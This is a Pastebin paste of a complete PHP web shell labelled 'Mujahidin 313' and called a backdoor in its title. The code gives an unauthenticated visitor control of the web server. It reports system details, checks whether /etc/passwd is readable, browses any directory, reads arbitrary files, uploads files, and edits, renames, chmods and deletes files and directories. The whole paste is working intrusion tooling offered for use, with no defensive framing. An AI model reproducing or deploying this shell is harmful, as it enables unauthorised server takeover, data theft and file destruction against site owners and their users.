Advertisement
Guest User

Mujahidn 313 Backdorr

a guest
Feb 15th, 2018
261
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 11.04 KB | None | 0 0
  1. <h1><center>MUJAHIDIN 313</center></h1>
  2. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  3. <tr><td>
  4. <center>
  5. <?php
  6. $etc_passwd = @is_readable("/etc/passwd") ? "<b><span style=\"color:white\">ON
  7.  
  8. </span></b>" : "<b><span style=\"color:red\"/>off </span></b>";
  9. echo '<b><font color=red>Server IP  :   </b></font><b>'.$_SERVER
  10.  
  11. ['SERVER_ADDR'].' </b>';
  12. echo '<b><font color=red>Your IP :  </b></font><b>'.$_SERVER
  13.  
  14. ['REMOTE_ADDR'].'</b>';
  15. echo "</br>";
  16. echo "<b><font color=red>Safe Mode :  </font></b>";
  17. // Check for safe mode
  18. if( ini_get('safe_mode') ) {
  19.   print '<font color=#FF0000><b> ON</b></font>';
  20. } else {
  21.   print '<font color=#008000><b> OFF</b></font>';
  22. }
  23. echo "</br>";
  24. echo "<b><font color=red>Read etc/passwd : </font></b><b>$etc_passwd</b>";
  25. echo "<b><font color=red>Functions : </font><b>";echo "<a href='$php_self?
  26.  
  27. p=info'>PHP INFO </a>";
  28. if(@$_GET['p']=="info"){@phpinfo();
  29. exit;}
  30. ?>
  31. <br>
  32. </center>
  33. <?
  34.  
  35. set_time_limit(0);
  36. error_reporting(0);
  37.  
  38. if(get_magic_quotes_gpc()){
  39.     foreach($_POST as $key=>$value){
  40.         $_POST[$key] = stripslashes($value);
  41.     }
  42. }
  43. echo '<!DOCTYPE HTML>
  44. <HTML>
  45. <HEAD>
  46. <link href="" rel="stylesheet" type="text/css">
  47. <title>MUJAHIDIN 313 V. 2.0</title>
  48. <style>
  49. body{
  50.    font-family: "Arial", cursive;
  51.    background-image:url("https://i.ytimg.com/vi/Orc2vEUanq4/hqdefault.jpg");
  52.     color:white;
  53.    text-shadow:0px 0px 1px #757575;
  54. }
  55. #content tr:hover{
  56.    background-color: #636263;
  57.    text-shadow:0px 0px 10px #fff;
  58. }
  59. #content .first{
  60.    background-color: silver;
  61. }
  62. #content .first:hover{
  63.    background-color: gray;
  64.    text-shadow:0px 0px 1px #757575;
  65. }
  66. table{
  67.    border: 1px #33f702 dotted;
  68. }
  69. H1{
  70.    font-family: "Arial", cursive;
  71. }
  72. a{
  73.    color: #33f702;
  74.    text-decoration: none;
  75. }
  76. a:hover{
  77.    color: #fff;
  78.    text-shadow:0px 0px 10px #ffffff;
  79. }
  80. input,select,textarea{
  81.    border: 1px #999999 solid;
  82.    -moz-border-radius: 5px;
  83.    -webkit-border-radius:5px;
  84.    border-radius:5px;
  85. }
  86. </style>
  87. </HEAD>
  88. <BODY>
  89.  
  90. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  91. <tr><td>
  92. <center>
  93. <font color=red><b>Current Path : </font></b>';
  94. if(isset($_GET['y'])){
  95.     $path = $_GET['y'];  
  96. }else{
  97.     $path = getcwd();
  98. }
  99. $path = str_replace('\\','/',$path);
  100. $paths = explode('/',$path);
  101.  
  102. foreach($paths as $id=>$pat){
  103.     if($pat == '' && $id == 0){
  104.         $a = true;
  105.         echo '<a href="?y=/">/</a>';
  106.         continue;
  107.     }
  108.     if($pat == '') continue;
  109.     echo '<a href="?y=';
  110.     for($i=0;$i<=$id;$i++){
  111.         echo $paths[$i];
  112.         if($i != $id) echo "/";
  113.     }
  114.     echo '">'.$pat.'</a>/';
  115. }
  116. echo '<a href="?"><font color=red><b>&nbsp;&nbsp;&nbsp;Home
  117.  
  118. </font></b></a></td></tr><tr><td>';
  119. if(isset($_FILES['file'])){
  120.     if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  121.         echo '<font color="#30f209">File Upload Done.</font><br />';
  122.     }else{
  123.         echo '<font color="red">File Upload Error.</font><br />';
  124.     }
  125. }
  126. echo '<center>';
  127. echo '<form enctype="multipart/form-data" method="POST">
  128. <b><font color=red>File Upload : </b></font><input type="file" name="file" />
  129. <input type="submit" value="upload" />
  130. </form>
  131. </td></tr>';
  132. if(isset($_GET['filesrc'])){
  133.     echo "<tr><td><b><center><font color=red align=center>Current File :</font></b> ";
  134.     echo '<a href="?filesrc='.$path/$file.'&y='.$path.'">'.$_GET[filesrc].'</a>';
  135.     echo '</tr></td></table><br />';
  136.     echo('<textarea cols=90 rows=20 name="src">'.htmlspecialchars(file_get_contents
  137.  
  138. ($_GET['filesrc'])).'</textarea>');
  139. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  140.     echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  141.     if($_POST['opt'] == 'chmod'){
  142.         if(isset($_POST['perm'])){
  143.             if(chmod($_POST['path'],$_POST['perm'])){
  144.                 echo '<font color="green">Change Permission Done.</font><br />';
  145.             }else{
  146.                 echo '<font color="red">Change Permission Error.</font><br />';
  147.             }
  148.         }
  149.         echo '<form method="POST">
  150.        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o',
  151.  
  152. fileperms($_POST['path'])), -4).'" />
  153.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  154.        <input type="hidden" name="opt" value="chmod">
  155.        <input type="submit" value="Go" />
  156.        </form>';
  157.     }elseif($_POST['opt'] == 'rename'){
  158.         if(isset($_POST['newname'])){
  159.             if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  160.                 echo '<font color="red">Change Name Done.</font><br />';
  161.             }else{
  162.                 echo '<font color="red">Change Name Error.</font><br />';
  163.             }
  164.             $_POST['name'] = $_POST['newname'];
  165.         }
  166.         echo '<form method="POST">
  167.        New Name : <input name="newname" type="text" size="20" value="'.$_POST
  168.  
  169. ['name'].'" />
  170.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  171.        <input type="hidden" name="opt" value="rename">
  172.        <input type="submit" value="Go" />
  173.        </form>';
  174.     }elseif($_POST['opt'] == 'edit'){
  175.         if(isset($_POST['src'])){
  176.             $fp = fopen($_POST['path'],'w');
  177.             if(fwrite($fp,$_POST['src'])){
  178.                 echo '<font color="green">Edit File Done.</font><br />';
  179.             }else{
  180.                 echo '<font color="red">Edit File Error.</font><br />';
  181.             }
  182.             fclose($fp);
  183.         }
  184.         echo '<form method="POST">
  185.        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents
  186.  
  187. ($_POST['path'])).'</textarea><br />
  188.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  189.        <input type="hidden" name="opt" value="edit">
  190.        <input type="submit" value="Go" />
  191.        </form>';
  192.     }
  193.     echo '</center>';
  194. }else{
  195.     echo '</table><br /><center>';
  196.     if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  197.         if($_POST['type'] == 'dir'){
  198.             if(rmdir($_POST['path'])){
  199.                 echo '<font color="green">Delete Dir Done.</font><br />';
  200.             }else{
  201.                 echo '<font color="red">Delete Dir Error.</font><br />';
  202.             }
  203.         }elseif($_POST['type'] == 'file'){
  204.             if(unlink($_POST['path'])){
  205.                 echo '<font color="green">Delete File Done.</font><br />';
  206.             }else{
  207.                 echo '<font color="red">Delete File Error.</font><br />';
  208.             }
  209.         }
  210.     }
  211.     echo '</center>';
  212.     $scandir = scandir($path);
  213.     echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1"
  214.  
  215. align="center">
  216.    <tr class="first">
  217.        <td><center>Name</center></td>
  218.        <td><center>Size</center></td>
  219.        <td><center>Permissions</center></td>
  220.        <td><center>Options</center></td>
  221.    </tr>';
  222.     foreach($scandir as $dir){
  223.         if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  224.         echo "<tr>
  225.        <td><a href=\"?y=$path/$dir\"><img width=33 height=44 src=\"http://icon-
  226.  
  227. park.com/imagefiles/folder_icon_green.png\" />&nbsp;&nbsp;$dir</a></td>
  228.        <td><center>--</center></td>
  229.        <td><center>";
  230.         if(is_writable("$path/$dir")) echo '<font color="#ffffff">';
  231.         elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  232.         echo perms("$path/$dir");
  233.         if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  234.        
  235.         echo "</center></td>
  236.        <td><center><form method=\"POST\" action=\"?option&y=$path\">
  237.        <select name=\"opt\">
  238.         <option value=\"\"></option>
  239.        <option value=\"delete\">Delete</option>
  240.        <option value=\"chmod\">Chmod</option>
  241.        <option value=\"rename\">Rename</option>
  242.        </select>
  243.        <input type=\"hidden\" name=\"type\" value=\"dir\">
  244.        <input type=\"hidden\" name=\"name\" value=\"$dir\">
  245.        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  246.        <input type=\"submit\" value=\">\" />
  247.        </form></center></td>
  248.        </tr>";
  249.     }
  250.     echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  251.     foreach($scandir as $file){
  252.         if(!is_file("$path/$file")) continue;
  253.         $size = filesize("$path/$file")/1024;
  254.         $size = round($size,3);
  255.         if($size >= 1024){
  256.             $size = round($size/1024,2).' MB';
  257.         }else{
  258.             $size = $size.' KB';
  259.         }
  260.  
  261.         echo "<tr>
  262.        <td><a href=\"?filesrc=$path/$file&y=$path\"><img width=33 height=44 src=
  263.  
  264. \"http://icon-park.com/imagefiles/folder_icon_green.png\" />&nbsp;&nbsp;$file</a></td>
  265.        <td><center>".$size."</center></td>
  266.        <td><center>";
  267.         if(is_writable("$path/$file")) echo '<font color="green">';
  268.         elseif(!is_readable("$path/$file")) echo '<font color="red">';
  269.         echo perms("$path/$file");
  270.         if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  271.         echo "</center></td>
  272.        <td><center><form method=\"POST\" action=\"?option&y=$path\">
  273.        <select name=\"opt\">
  274.         <option value=\"\"></option>
  275.        <option value=\"delete\">Delete</option>
  276.        <option value=\"chmod\">Chmod</option>
  277.        <option value=\"rename\">Rename</option>
  278.        <option value=\"edit\">Edit</option>
  279.        </select>
  280.        <input type=\"hidden\" name=\"type\" value=\"file\">
  281.        <input type=\"hidden\" name=\"name\" value=\"$file\">
  282.        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  283.        <input type=\"submit\" value=\">\" />
  284.        </form></center></td>
  285.        </tr>";
  286.     }
  287.     echo '</table>
  288.    </div>';
  289. }
  290. echo '<br /><center> MUJAHIDIN 313 V <font color="red">2.0</font></center>
  291. </BODY>
  292. </HTML>';
  293. function perms($file){
  294.     $perms = fileperms($file);
  295.  
  296. if (($perms & 0xC000) == 0xC000) {
  297.     // Socket
  298.     $info = 's';
  299. } elseif (($perms & 0xA000) == 0xA000) {
  300.     // Symbolic Link
  301.     $info = 'l';
  302. } elseif (($perms & 0x8000) == 0x8000) {
  303.     // Regular
  304.     $info = '-';
  305. } elseif (($perms & 0x6000) == 0x6000) {
  306.     // Block special
  307.     $info = 'b';
  308. } elseif (($perms & 0x4000) == 0x4000) {
  309.     // Directory
  310.     $info = 'd';
  311. } elseif (($perms & 0x2000) == 0x2000) {
  312.     // Character special
  313.     $info = 'c';
  314. } elseif (($perms & 0x1000) == 0x1000) {
  315.     // FIFO pipe
  316.     $info = 'p';
  317. } else {
  318.     // Unknown
  319.     $info = 'u';
  320. }
  321.  
  322. // Owner
  323. $info .= (($perms & 0x0100) ? 'r' : '-');
  324. $info .= (($perms & 0x0080) ? 'w' : '-');
  325. $info .= (($perms & 0x0040) ?
  326.             (($perms & 0x0800) ? 's' : 'x' ) :
  327.             (($perms & 0x0800) ? 'S' : '-'));
  328.  
  329. // Group
  330. $info .= (($perms & 0x0020) ? 'r' : '-');
  331. $info .= (($perms & 0x0010) ? 'w' : '-');
  332. $info .= (($perms & 0x0008) ?
  333.             (($perms & 0x0400) ? 's' : 'x' ) :
  334.             (($perms & 0x0400) ? 'S' : '-'));
  335.  
  336. // World
  337. $info .= (($perms & 0x0004) ? 'r' : '-');
  338. $info .= (($perms & 0x0002) ? 'w' : '-');
  339. $info .= (($perms & 0x0001) ?
  340.             (($perms & 0x0200) ? 't' : 'x' ) :
  341.             (($perms & 0x0200) ? 'T' : '-'));
  342.  
  343.     return $info;
  344. }
  345. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement